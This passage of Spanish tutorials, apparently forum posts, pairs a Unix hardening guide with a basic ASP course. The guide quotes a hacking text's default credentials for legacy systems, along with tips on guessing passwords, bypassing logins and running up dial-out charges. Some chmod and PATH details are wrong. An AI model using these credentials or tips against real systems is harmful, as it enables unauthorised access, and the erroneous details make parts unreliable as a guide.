Cambia los permisos para que solo pueda ejecutar el propietario y el grupo
propietario del programa /bin/passwd.

NOTA: Puedes ver el contenido del fichero /etc/passwd simplemente tecleando:

cat /etc/passwd

Si estas en una red que usa un servidor NIS las contraseñas de toda la red se
guardan en este servidor, para ver el contenido del fichero passwd:

ypcat passwd


2.4 CueNTaS PoR DeFecTo
3 SisTeMaS De FicHeRos.
3.1 PerMiSoS eN FicHeRos , chown , etc ...
3.2 La oRDeN uMasK
3.3 SuiD , sGiD
3.4 La VaRiaBLe PATH


Cuentas de Invitado ("Guest")

Las cuentas de invitado (Guest) a veces se suelen utilizar para comprobar
configuraciones SMTP y demas.

Estas cuentas, por defecto, suelen tener asociado un password JOE (un
password JOE es aquel que es igual que el login), por lo que si hemos de
habilitar estas cuentas lo mejor es cambiarles el password.
Si no utilizas estas cuentas lo mejor es ponerlas el asterisco (*) en el
/etc/passwd (un asterisco entre los dos primeros ":" inhabilita la cuenta,
y por tanto el usuario no puede entrar en el sistema).

Por si acaso se le puede poner como $HOME el /dev/null (el "aguejero
negro" de nuestro sistema).

Cuentas sin Passwords
Numerosos sistemas tienen instaladas cuentas con nombres como "who", "date",
"lpq", y demás con el objetivo de lanzar determinados comandos. Esto tiene la
finalidad de permitir a los usuarios lanzar sus procesos sin necesidad de
entrar en la maquina y ejecutarlos a mano. Estas cuentas NO suelen tener
password, y por tanto su potencial problema es que abren inmensos agujeros
de seguridad en la maquina; por lo general, ademas, estas cuentas suelen tener
permisos de root (super-usuario).

Que hacer, pues?

Simplemente, NO permitir estas cuentas!

Lista Extraída de :


Hack en accion ( basico ) Parte I By PLaXiuS

Cuentas por defetco mas comunes:

AIX
~~~
guest guest

AS/400
~~~~~~
qsecofr qsecofr
qsysopr qsysopr
qpgmr qpgmr
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qsvr qsvr
secofr secofr

DECserver
~~~~~~~~~
ACCESS
SYSTEM

HP-x000
~~~~~~~
Este sistema es elaborado por Hewlett-Packard. Se caracteriza por el prompt
":". La secuencia de entrada a este sistema es una de las más complicadas.
Debes escribir: "HELLO SESSION NOMBRE,USUARIO,NOMBRE-DE-CUENTA,GRUPO"
Afortunadamente algunos de esos campos pueden dejarse en blanco. En ocasiones
todos los campos están protegidos con passwords por lo que este sistema no es
uno de los mas fáciles de acceder.

Las cuentas defaults comunes son:

Login User
~~~~~ ~~~~
MGR.TELESUP,PUB MGR
Acct: HPONLYG rp: PUB
MGR.HPOFFICE,PUB
FIELD.SUPPORT,PUB FLD,
MAIL.TELESUP,PUB MAIL,
MGR.RJE
FIELD.HPP189 ,HPP187,HPP189,HPP196
MGR.TELESUP,PUB,HPONLY,HP3

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

Major BBS
~~~~~~~~~
Sysop Sysop

PICK O/S
~~~~~~~~
DSA
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP <null>

Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults
~~~~~~~~~~~~~~~~~~
sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
MICRO/RSX

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

VMS
~~~
La computadora VAX es creada por Digital Equipment Corporation (DEC) y corre
el sistema operativo VMS (virtual memory system). VMS se caracteriza por su
prompt 'Username:'. Este sistema no te dire si has entrado un login correcto
o no y te desconectara despues de tres malos intentos. Tambien mantiene un
log de todos los logins que fallaron e informa al due¤o de la cuenta la
proxima vez que entre cuantos intentos fallados se hicieron.

Es uno de los sistemas más seguros desde fuera pero ya dentro tiene varios
errores en la seguridad. Las VAX ademas tienen unos de los mejores archivos
de ayuda de entre los demas sistemas, para acceder a esta ayuda solo escribe
HELP en el prompt. Las cuentas defaults comunes son: [ usuario: password
[,password] ]

Login Password
~~~~~ ~~~~~~~~
decnet decnet
demo demo
field field
field service
guest guest
operator operator
sysmaint digital
sysmaint service
sysmaint sysmaint
system manager
system operator
system syslib
system system
systest uetp

UNIX
~~~~
Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
adm adm
adm admin
admin adm
admin admin
bin bin
daemon daemon
decnet ddennet
decnet nonpriv
default user
demo demo
field digital
field service
field test
games games
games player
guest friend
guest guest
guest welcome
host host
learn learn
netnonpriv nonpriv
nuucp nuucp
postmaster mail
rje rje
root root
root sysop
root system
sys sys
sys system
sysop sysop
sysman sys
sysman sysman
sysman system
sysadmin adm
sysadmin admin
sysadmin sys
sysadmin sysadmin
sysadmin system
sysbin sysbin
sysmaint digital
sysmaint service
system manager
system operator
system syslib
system uetp
systest_clig systest
test test
tty tty
unix test
unix unix
userp user
uucp uucp
uuhost uuhost
who who

PRIME
~~~~~
Esta computadora opera con el sistema operativo Primos. Son faciles de
detectar ya que reciben a uno con el mensaje "Primecon xx.xx.xx" o algo
parecido dependiendo de la version que te encuentres. Usualmente no ofrecen
ningún prompt asi que debes escribir "login <usuario>". Si la version es
anterior a la 18.00.00 puedes presionar un monton de caracteres de escape o
CTRL-C y entraras. Este sistema ofrece la capacidad de conectarte a los NUAS
de todo el mundo con el comando NETLINK...sintax: nc <nua>

Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
guest guest
guest prime
guest1 guest
netlink netlin
prime prime
prime primos
primos prime
primos primos
primos_cs prime
primos_cs primos
primenet primenet
system prime
system primos
system system
test test
test prime
test primos

DEC-10
~~~~~~
Este es el equipo de computo más nuevo que existe dentro de la linea de DEC'
s.Operan el sistema operativo TOPS-10. Este tipo de maquinas se reconocen por
el prompt "." Las series DEC-10/20 son amables con los hackers permitiendo
varios intentos en el login prompt sin guardar un log de los intentos
fallados. Las cuentas están en forma [xxx,yyy].

Lo mejor de este sistema es la posibilidad de obtener informacion sobre las
personas en linea antes de entrar a el usando el comando systat.

Si ves una cuenta que lea [234,1001] BOB JONES, seria inteligente probar como
password BOB, JONES, BOBBY, etc. Para entrar al sistema se usa el comando:
login xxx,yyy [enter] password: Este sistema como antes habia dicho, permite
intentos sin limite y ademas te avisa si el login que est s usando existe.

Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
1,2 manager
1,2 operator
1,2 syslib
2,7 maintain
5,30 games

IRIS
~~~~
Iris significa (interactive real time information system). Originalmente
corria en PDP-11's, pero ahora corre en otras minis. Para identificar uno de
estos sistemas busca el texto "Welcome to `IRIS' R9.1.4 Timesharing" y el
prompt ACCOUNT ID? (algunas veces es cambiado). IRIS no tiene limites a la
hora de hackear una cuenta y no guarda un log de los intentos fallados.

Login
~~~~~
accounting
boss
demo
manager
pdp8
pdp11
software

VM/CMS
~~~~~~
Este sistema es ejecutado en las super computadoras de IBM (International
Business Machines) llamadas mainframes. Una vez conectado a una de estas
computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te dare un prompt
"." justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON <usuario>
Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
autolog1 autolog
autolog1 autolog1
cms cms
cmsbatch cms
cmsbatch cmsbatch
erep erep
maint maint
maint maintain
operatns operatns
operatns operator
operator operator
rscs rscs
smart smart
sna sna
vmtest vmtest
vmutil vmutil
vtam vtam

NOS
~~~
NOS significa Networking Operating System y corre en la Cyber computadora
hecha por Control Data Corp. A este sistema lo puedes identificar facilmente
por la bienvenida "WELCOME TO THE NOS SOFTWARE SYSTEM...".
El primer prompt que recibir sera FAMILY: (presiona enter) depues llegar
a otro prompt USER NAME: donde cada uno es de 7 digitos alfanumericos y son
dependientes del sistema por lo que no son palabras o frases conocidas.

DECSERVER
~~~~~~~~~
Las DECs son una serie de computadoras conectadas entre si para formar una
sola unidad de procesamiento, la funcionalidad de estos sistemas es altamente
utilizado por los hackers para quebrar passwords de cuentas unix por la
rapidez del sistema. El prompt usualmente sera: "Enter Username>"
aunque yo he visto otros prompts en estos sistemas. El nombre de usuario
puede ser cualquier cosa, lo mejor ser presionar algo nada sospechoso como
`c' o algun numero.

De ah¡ te presentar con el prompt `local>'. De ahi debes ejecutar `c
<sistema>' para conectarte. Para obtener una lista de sistemas conectados
ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S existen
comandos como MODEM o DIAL que permiten hacer uso de un modem para llamadas
externas que te permitir n marcar a BBS internacionales a expensas de la
compa¤ia que opera el DEC.

3. SiSTeMaS De FiCHeRoS

El sistema de ficheros de UNIX/LINUX tiene una estructura de arbol. Un arbol
esta constituido por directorios, que contiene a su vez subdirectorios, etc.
Todo parte de un directorio raiz.

En UNIX, todo esta representado mediante directorios o ficheros, como por
ejemplo las unidades, el CD-ROM etc..
Cada fichero contiene un nombre, es propiedad de un usuario, tiene unos
permisos etc.
Toda esta informacion esta almacenada en los inodo, los inodos guardan todo
lo asociado con el fichero excepto su nombre, los nombres son guardados en
sus directorios y son asociados con los inodos mediante punteros.

Los inodos no poseen nombre. En su defecto se distinguen por un numero o
indice, que indica su posicion en la tabla de inodos. Los inodos son las
entradas de una tabla de localizacion de ficheros, parecido a al FAT de dos,
pero en formato etx2.

Cada inodo contiene lo siguiente:

. La ubicacion del contenido del objeto referenciado al disco.
. El tipo de objeto (ficheros, directorios, enlace simbolico, etc).
. El tama¤o del objeto en bytes.
. La fecha en la que el inodo fue modificado por ultima vez.
. La fecha en la que el Objeto fue accedido por ultima vez.
. El Propietario del Objeto.
. El grupo propietario del Objeto.
. Los permisos del Objeto.

En UNIX / Linux varios ficheros pueden estar referenciados al mismo inodo ,
a esto de le llama link o enlace.

Cada directorio tiene como mínimo dos entradas. El punto (.), que referencia
el propio directorio y los dos puntos (..), que apuntan al directorio padre (
al que esta mas cerca del directorio raiz).

3.1 PeRMiSoS eN FiCHeRoS

Los permisos pueden ser:

r Permiso de lectura.
w Permiso de escritura.
x Permiso de Ejecución.
s Suid o Sgid.
t Stlicky bit.

LOS PERMISOS PUEDEN SER:

Para el propietario (owner).
Para el grupo (group).
Para todos los demas (other).
Para ver los permisos de un fichero basta con la orden ls -l.
Para cambiar los permisos de los ficheros o directorios se utiliza la orden

chmod , su sintaxis es:
chmod [-Rfh] [agou] [+-=] [rwxst] nombre

Donde:

-R Algunas versiones no soportan esta opcion, con -R estamos diciendo que
queremos cambiar los permisos recursivamente esto quiere decir que si
cambiamos los permisos de un directorio con esta opcion se cambiaran
los permisos de todos los archivos y subdirectorios del directorio.

-f Si sucede algun error con esta opcion no sera mostrado.

-h Se utiliza para los links con esta opcion se cambian los permisos
del link pero no el del fichero al que apunta el link.

Y donde:

a Modifica para todos los usuarios el privilegio especificado.
g Modifica los privilegios para el grupo.
o Modifica los privilegios para los demás usuarios.
u Modifica los privilegios para el propietario.

Y donde:

+ A¤ade un privilegio.

Quita un privilegio.

= Quita todos los privilegios.....

Y donde:

r Permiso de lectura.
w Permiso de escritura.
x Permiso de ejecución.
s SUID o SGID.
t Sticky bit.

Ejemplos:

ls -lfiche1

-rwx-r-r- pedro usuarios 505 FEB 9 13:19 fiche1

Donde el primer carácter puede ser:

- Fichero normal.
d Directorio.
c Dispositivo (tty o impresora etc..)
b Dispositivos como el CD-ROM etc..
l Link simbolico.

Etc...

Despues del primer caracter los tres siguientes son permisos para el
propietarios luego los tres que le siguen pal grupo y los otros para los
demas usuarios si aparece el caracter - en el campo de alguno de estos
significa que no existe dicho permisos.

En el ejemplo de fiche1 tiene permiso de lectura, escritura, ejecucion para
el propietario. Lectura para el grupo y lectura para todos los demas, y
donde pedro es el propietario del fichero y usuarios es el nombre del grupo
al cual pertenece el fichero.

Para añadir permisos de escritura al grupo:

Chmod g+w fiche1

Hacemos un ls -l fiche1

-rwx-rw-r-

Otro ejemp:

ls -l fiche2

-r-r-r-

chmod a+w fiche2

ls -l

-rw-rw-rw-

Otro ejemplo:

ls -l fich3

-rwxrwxrwx

chmod go= fiche3

Esto quita todos los permisos para el grupo y para los demas usuarios:

ls -l fiche3

-rwx------

Hay una manera numerica de poner permisos:

Chmod [-Rfh] modo fichero

Donde:

El modo es:

A chmod se le pueden especificar los permisos con un numero octal de 4
digitos, los numeros son:

Numero Octal Permiso

4000 Permisos de SUID.
2000 Permisos de SGID.
1000 "Sticky bit"
0400 Permiso de Lectura para el usuario.
0200 Permiso de Escritura para el usuario.
0100 Permiso de Ejecucion para el usuario.
0040 Permiso de Lectura para el grupo.
0020 Permiso de Escritura para el grupo.
0010 Permiso de Ejecucion para el grupo.
0004 Permiso de Lectura para todos.
0002 Permiso de Escritura para todos.
0001 Permiso de Ejecucion para todos.

La manera de calcular los permisos es ir sumandolos por ejemplo para poner
permiso de Lectura, Escritura, Ejecucion para el usuario del fichero.
Lectura y Ejecucion para el grupo..
Y ningún permiso para los demas. Se haria de la siguiente manera:

chmod 0750 fichero

Ya que:

0400 Lectura pal usuario.
+
0200 Escritura pal usuario.
+
0100 Ejecucion pal usuario.
+
0040 Ejecucion para el grupo.
+
0010 Ejecucion para el grupo.
---------
0750

Si hicieramos un ls -l fichero veriamos:

-rwxr-w---

Permisos a directorios:

Los permisos para los directorios son los mismos que para los ficheros de
Lectura, Escritura, Ejecución pero tienen un significado algo distinto.

Para un directorio el permiso de lectura indica que se pueden ver los nombres
de los archivos del directorio, si se los quitas y hacer un ls no veras nada.
Para ver los permisos de los directorios ejecuta ls -lF.

Los permiso se cambian de la misma manera que los ficheros.

Si no hay permisos de ejecucion no se podrá entrar en dicho directorio.

Permiso sobre ficheros y directorios habituales:

Número Octal Nombre Permiso

755 /bin/ls Todo el mundo puede copiar y ejecutar este programa.

0700 $HOME Nadie ha de poder entrar en
tu directorio home (excepto el root :)).

0600 /usr/mail/$USER Nadie debería poder escribir ni leer tu mail :).

3.2 La oRDeN uMask:

Cuando creamos un archivo o directorio este se crea con unos permisos
predeterminados, se puede cambiar el modo predeterminado para un directorio,
esto significara que todo lo que se cree dentro de este directorio lo hara
con los permisos que nosotros hemos predeterminado, la orden umask utiliza el
sistema de números para predeterminar permisos.

El valor que nosotros queramos predeterminar lo hemos de restar de 777, por
ejemplo queremos que para el directorio /root los valores predeterminados
sean, Lectura, Escritura, para el usuario. Pues lo que debemos hacer es
restar 177 de 777 y nos quedará 600 que es el valor que queremos.

Ejemplo:

umask 177 /root

Que es esto del Sticky bit ?

Cuando un ejecutable tiene este bit activado (Sticky bit) aparece con una t
situada al final del campo de permisos. Al activar este bit estamos indicando
al sistema que queremos que el programa permanezca en memoria al terminar su
ejecucion, seria parecido a los programas residentes del Dos.

Si se usa sobre un directorio este bit tiene un significado diferente, por
ejemplo:

chmod 1777 /tmp

Todo el mundo podra escribir, pero nadie podrá borrar los archivos creadores
por los demas usuarios.

3.3 eL SuiD y eL SGiD

El tener los permisos suid o sgid activados en algun programa puede resultar
bastante peligroso, muy peligroso :), ya que los exploits de buffer o Stack
Overflow se aprovechan de estos permisos, me explico:

Tener el permisos SUID activado en un programa significa que cuando un
usuario ejecute el programa lo hará como si lo hubiera ejecutado el
usuario del fichero o por el grupo si tiene el SGID activado.

Porque utilizar estos permisos ?

Hay programas que tienen que acceder a zonas donde solo tiene permiso el root
, un ejemplo es el programa passwd el cual sirve para cambiar el password de
un usuario, el propietarios de este programa es el root, si no tuviera
permisos de suid el programa no podria ( o no debería poder ) modificar el
fichero /etc/passwd ya que se hubiera ejecutado con la uid de usuario y por
tanto un usuario normal no puede modificar dicho fichero, para solucionar
esto se le dan permisos de suid, entonces el programa se ejecuta como si lo
hubiera hecho el root y puedes modificar tranquilamente el fichero.

SGID funciona igual que el SUID lo único que le programa se ejecutaria como
si lo hubiera hecho el grupo propietario de dicho programa.

EL peligro de estos permisos:

Si mientras el programa esta ejecucion pudieramos sobreescribir parte de la
pila, cambiar al direccion de retorno de alguna funcion etc... y
consiguieramos que este programa ejecutase codigo que no pertenece a este
programa, dicho codigo se ejecutaria con permisos del propietario del
programa que habitualmente es el root.

Para ver si un programa tiene activa el SUI o SGID basta con hacer un:

ls -l nombredelfichero

-rwsr-xr-x root root ....

La s significa que el programa tiene activado los permisos de suid, ya que s
esta en le campo del propietario, Asi que el programa tiene permisos de suid
el propietarios es el root y el grupo propietario del programa es el grupo
root. Dicho programa puede ser ejecutado por cualquiera y cuando se ejecute
lo hara con permisos de root.

NOTA: Para encontrar todos los archivos que tengan activado suid o el sgid :

find / (-perm -004000 -o perm -002000) -type f -print

Donde find empieza a buscar en el directorio raíz (/) y mira todos los
archivos que tienen modo 002000 (sgid) o modo 004000 (suid). Donde la opcion
-type f es para que solo busque ficheros normales y -printf para que lo que
encuentre lo saque por pantalla.

Si se esta usando NFS y solo se quieres buscar en el ordenador en el que
estas y que no mire en los archivos montados de otros ordenadores:

find / (-local -o -prune ) ( -perm -004000 -o -perm -002000 )
-typef -print

Se ha de tener cuidado a la hora de montar archivos remotos o el floppy o el
CD-ROM ya que en el caso de archivos remotos el usuario remoto simplemente
creando un suid programa en su ordenador y haciendolo correr en la maquina en
la que se montan estos archivos podria pillar permisos de root facilmente ,
por ejemplo el usuario copia en los archivos que se van a montar de un
ordenador en el que tiene permisos una shell con suid activado cuyo
propietario es root y lo ejecuta en el ordenador donde se montan estos
ficheros...

Tb pasaria con el floppy , puedes grabar una shell con suid activado en un
floppy y luego montarlo en el ordenador y ejecutarlo.
Para que no ocurra todo esto no ocurra se ha de impedir que se monten con el
suid y sgid o que el sistema pase de todo estos permisos cuando proviene de un
disquete, archivo remoto y tal..

En los archivos remotos (NSF) se ha de configurar el ficheros /etc/exports
con las restricciones:

nodev
nosuid

Y si se quiere tb

noexec

La opcion nodev hace que el sistema ignore los archivos montados,
Si tiene el suid activado lo ignora.

En el caso de disquetes y tal:

Para unidades, archivos, flopyes etc, que se han de montar el fichero de
configuracion es el /etc/fstab se pueden usar :

nodev
nosuid

3.4 La VaRiaBLe PaTH

En la variable PATH se indican los directorios donde deberan buscarse los
programas que se ejecuten, produciendose la busqueda en el orden en que
aparece en la variable. Si la variable PATH se asigna de la forma
PATH=.:/usr/bin:/usr/sbin primero se buscará en el directorio actual y luego
en el resto de los que aparecen en la variable. Esto puede ser peligroso,
por ejemplo:

Si alguien creamos en un directorio donde tengamos permisos de escritura un
fichero shell script llamado ls, si un usuario entra en ese directorio y
teclea ls al tener en la variable PATH los .: buscaria primero en ese
directorio el programa ls y ejecutaria nuestro shell script, este shell
script podía hacer cualquier cosa y luego llamar al verdadero ls (/bin/ls),
el usuario habria ejecutado un programa que no es el /bin/ls y no se habria
dado ni cuenta.

Par evitar esto, dicha variable debe de asignarse como:

PATH:/usr/bin/:/usr/sbin: es decir con los dos puntos al final en lugar del
principio, de esta forma se buscaría por último en el directorio actual.

NOTA: Existen unos comandos para ver tanto las variables locales como las de
entorno y sus valores asignados, estos comandos son:

env

Muestra por pantalla las variables de entorno y sus valores.

set

Muestra tanto las variables de entorno como las locales.

unset acompa¤ado del nombre de la variable asigna a esta un valor NUL
(nulo).

El comando env en realidad es un programa que se encuentra en /usr/bin/env,
mientras que set y unset son propios de la shell.

Algunas variables Importantes:

Variables Valor Descripcion

ENV $HOME/.profile Ejecuta el fichero indicado al arrancar el shell.

HOME /home/usuario Contiene la ruta del directorio principal
del usuario.

TERM vt100 Contiene el tipo de terminal utilizado en
la conexion.

TIMOUT 600 Determina el tiempo que debe de estar el
terminal inactivo para que finalice
automaticamente la conexion.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
#331
Tutoriales - Documentación / Curso ASP
28 Agosto 2002, 15:58 PM
ASP->Active Server Pages

C++ | Visual Basic
|
Interpretado:javascript | VBScript
Servidor: PHP | ASP



PROGRAMACIÓN EN ASP:

Las páginas tienen una extensión .ASP
Los tags son <% %>

ejemplo:

prueba.asp

<% response.write "HOLA" %>


Variables:

No hace falta definirlas

dim var1

option explicit obligamos a definir todas las variables (recomendado)

vartype var1

Nos devuelve el tipo de una variable (un número)

vbEmpty --> 0
vbNull --> 1
vbInteger --> 2
vbLong --> 3
vbSingle --> 4
vbDouble --> 5
vbCurrency --> 6
vbDate --> 7
vbString --> 8
vbObject --> 9
vbError --> 10
vbBoolean --> 11
vbVariant --> 12
vbDataObject --> 13
vbBytc --> 17
vbArray --> 8192

Ejemplo:

dim var1
var1=6.0
response.write vartype (var1)

Resultado --> 5 (o sea double)

option explicit
response.write "Hola"
response.write var1

Resultado --> Variable no definida: 'var1'

-----------------------------------------

División Entera --> \
Potencia -- ^
Modulo --> Mod

Operadores de comparación:

=
<>

Concatenar: & (+)


and --> las dos son ciertas

or --> una de las dos es cierta

not -->lo contrario

xor --> cierto si solamente una de las dos es cierta.


function pepe(param1,param2)
pepe=5
end function

exit function para salir de una funcion

Procedimientos
sub PepeProc (par1,par2)
end sub

exit sub para salir del procedimiento


Para llamar a un procedimiento

call PepeProc ("Par1,"par2) o directamente PepeProc "par1","par2"


if condicion then
...
else
...
end if


select case(variable)
case "A": ...
case "B": ...
case "C": ...
case Else: ...
end select

function tipovariable(var)


for next

for a=1 to 5
..
next

do (while | until) ... loop


Do while a>0
...
loop

do until a=0
..
loop

While ... wend (Obsoleto)

For each ... in ...


For each elemento in Mi_Array


Salir bucles

Exit for (for)

Exit loop (while)

----------------------------
i=0
x=1
do while i<=9
i=i+1
resultado=x*i
response.write ""
response.write resultado
loop
----------------------------

Ámbito de las variables

- Página
Dim a
a=5

Esta variable tiene valor dentro de esta página (sólo en la página actual)

- Sesión
Válidas durante toda la visita del usuario (Dura hasta que se cierra el navegador o hasta que pasa un tiempo determinado)

Session("var")=5

- Aplicación
Válidas siempre, no caducan y se puede acceder para todos los usuarios.

Application("var")=7



Global.asa

InetPub/www.root

se carga siempre que un usuario abre una página asp
inicializaciones/terminaciones

session_onstart-->se activa cuando unusuario entra en la página
session_onend-->se desactiva cuando un usuario abandona la sesión pq ha pasado un tiempo o pq ha hecho un session_abandon
application_onstart--> se activa cuando el 1er usuario entra en la página web
application_onend --> se desactiva cuando ya no haya ninguna sesión activa

plantilla para un fichero global:


sub session_onstart
end sub
sub session_onend
end sub
sub application_onstart
application("visitas")=0
end sub
sub application_onend
end sub


PROPIEDADES:

session_id --> identificador de la sesión
timeout --> tiempo que queda de sesión

session.sessionid

MÉTODO:

abandon-->destruye la sesión actual y nos activa el evento session_onend.No destruye la sesión hasta que no se haya ejecutado todo el código.

contents.remove-->elimina una variable de sesión
contents.removeall-->elimina todas las variables de sesión
contents-->colección de elementos añadidos a la sesión

ejemplo:
session("var1")=1
session("var2")=2



Application

Lock --> bloquear

Unlock --> desbloquear

Application.lock
Application.("variable")="Hola"
Application.unlock

El objeto Server:

Propiedad:

ScriptTimeOut --> tiempo en segundos para ejecutar una página, sino lo hace en este tiempo da error. (Es como el max_execution_time = 30 del PHP)


CreateObject -> Crear objeto com

(Objeto COM --> objetos dentro de dlls que se encuentran en el directorio windows, y quedan para todas las aplicaciones windows. Se registran en el sistema, y cualquier programas puede acceder a ellas.

Execute -> ejecutar un ASP
GetLastError -> Último error
MapPath -> Carpeta física
HtmlEncode -> Codificar para HTML
UrlEncode -> Codificar una URL


Ejemplo:

El directorio raiz es:
<%=server.mappath("/") %>

Codigo sin codificar
<% response.write(" si a<b r>c") %>

Codigo codificado
<%=server.htmlencode(" si a<b r>c") %>

Prueba URL

<%=server.urlencode("dir=c/del carmen,25") %>

= sirve para response.write


Transfer -> redirecciona a otra página.


Objeto Request y Response


Request -> obtener variables
Response -> escribir valores

TotalBytes -> los bytes enviados al cliente en la petición.

ClientCertificate -> certificados
Cookies -> cookies
Form -> valoers formulario
QueryString -> valor URL
ServerVariables -> variables servidor


Ejemplo:

(Enviar la cookie antes de nada, o sea arriba de todo)
<% response.cookies("Cantidad")=5 %>

El valor de la cookie es:

<%=request.cookies("Cantidad") %>

Ejemplo Formulario:

<form name="form1" method="post" action="mostrar.asp">
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Nombre
<input type="text" name="nombre">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Dirección
<input type="text" name="dire">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Teléfono
<input type="text" name="tel">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<input type="submit" name="Submit" value="Submit">
</font></p>
</form>

---------------------------------------

Su nombre es: <%=request.form("nombre")%>
Su dirección es: <%=request.form("dire")%>
Su teléfono es: <%=request.form("tel")%>


Si el form method="get" entonces no podemos hacer request.form, sino querystring.

method="post" -> request.form
method="get" -> querystring

path_info
path_translated -> direccion fisica del disco duro
query_string -> cadena con parametros
remote_addr -> IP
remote_host -> Nombre de la maquina
request_method -> get o post
script_map -> base del URL
script_name -> ruta virtual
server_port -> puerto servidor
server_port_secure -> puerto SSL
server_protocol ->protocolo de comunicaciones
url -> URL
server_software -> servidor

Server Variables

Ejemplo Info.asp

<%=request.servervariables("server_port") %>
<%=request.servervariables("path_info") %>
<%=request.servervariables("server_software") %>
<%=request.servervariables("server_protocol") %>
<%=request.servervariables("script_name") %>
<%=request.servervariables("remote_host") %>
<%=request.servervariables("remote_addr") %>

etc,etc,etc

Objeto Response

Buffer -> cierto o falso (si es cierto hasta que no se acabe de ejecutar la pagina no se envian los datos, si es falso se va enviando) O todo o nada, si tenemos 50 registros, si el buffer esta true, o nos enseña los 50 o ninguno, si esta en false, nos enseña 10 por ejemplo.
CacheControl -> especificar si la pagina se guardará en caché en el proxy.
Expires -> tiempo que tiene que almacenarse esta pagina en caché.

AppendToLog -> se guardara en el fichero log del servidor.
Clear -> nos borra el buffer
End -> terminamos la pagina, y se envia este el buffer esta true o no.
FlusH -> envia lo que hay en el buffer, si esta true
Redirect -> redirecciona la pagina a otro sitio
Write -> para escribir
Coookies -> colección de galletas

Ejemplo:


<%
For x=1 to 1000
response.write (x)
response.write ""
next
%>

Va saliendo....

Y ahora

<%
response.buffer=true
For x=1 to 1000
response.write (x)
response.write ""
next
response.end
%>

Sale de golpe!!!

Más ejemplos:

login.htm
------------------------------------
<html>
<head>
<title>- Login </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="comprobar.asp">
<table width="41%" border="0" cellspacing="0" cellpadding="0" bgcolor="#999999" align="center">
<tr bgcolor="#333333">
<td colspan="3"> </td>
</tr>
<tr>
<td width="19%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Nombre</font></td>
<td width="55%">
<input type="text" name="nombre" maxlength="10">
</td>
<td width="26%" rowspan="3"> </td>
</tr>
<tr>
<td width="19%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Password</font></td>
<td width="55%">
<input type="password" name="pass" maxlength="20">
</td>
</tr>
<tr>
<td width="19%"> </td>
<td width="55%">
<input type="submit" name="Submit" value="Enviar">
</td>
</tr>
</table>
</form>
</body>
</html>
------------------------------------

comprobar.asp
------------------------------------
<%
if (request.form("nombre")="pepe") and (request.form("pass")="pepe") then
Session("nombre")=request.form("nombre")
response.redirect("correcto.asp")
else
response.redirect("incorrecto.asp")
end if
%>
------------------------------------

correcto.asp
------------------------------------
<%
response.write("Bievenido"&Session("nombre"))
%>
------------------------------------

incorrecto.asp
------------------------------------
<%
response.write("No tienes acceso")
%>
------------------------------------

Teoría:

En el IIS 5.0
ASP Error

ASPCode
Number
Description
File
Line
Column
Source
Category

variable+Error=server.getLastError

Página que abre el servidor cuando hay un erorr --> 500-100.asp

Conexiones con bases de datos

-> ODBC --> se puede conectar con cualquier base de datos que acepte ODBC


¿ Qué es el OBDC ? -> Conexión base de datos a través de Windows. Object Data Base Conection.

ADO -> colección de objetos para conectarse a la BD. WorkSpace, Recordset, etc

Primer paso:

Vamos a crear una base de datos con access:

clientes

IDCliente (autonúmerico)
Nombre
Direccion
Telefono

Clientes.mdb

Configuración
Panel de Control
Fuentes de datos ODBC

Data Source Name (DSN)

DSN Usuario
DSN Archivo (solo de un archivo)

DSN Usuario --> Agregar, Microsoft Acces-Driver, Nombre del Origen Clientes, Base de Datos (Seleccionar y cogemos cliente.mdb, en avanzadas podemos poner password, etc.

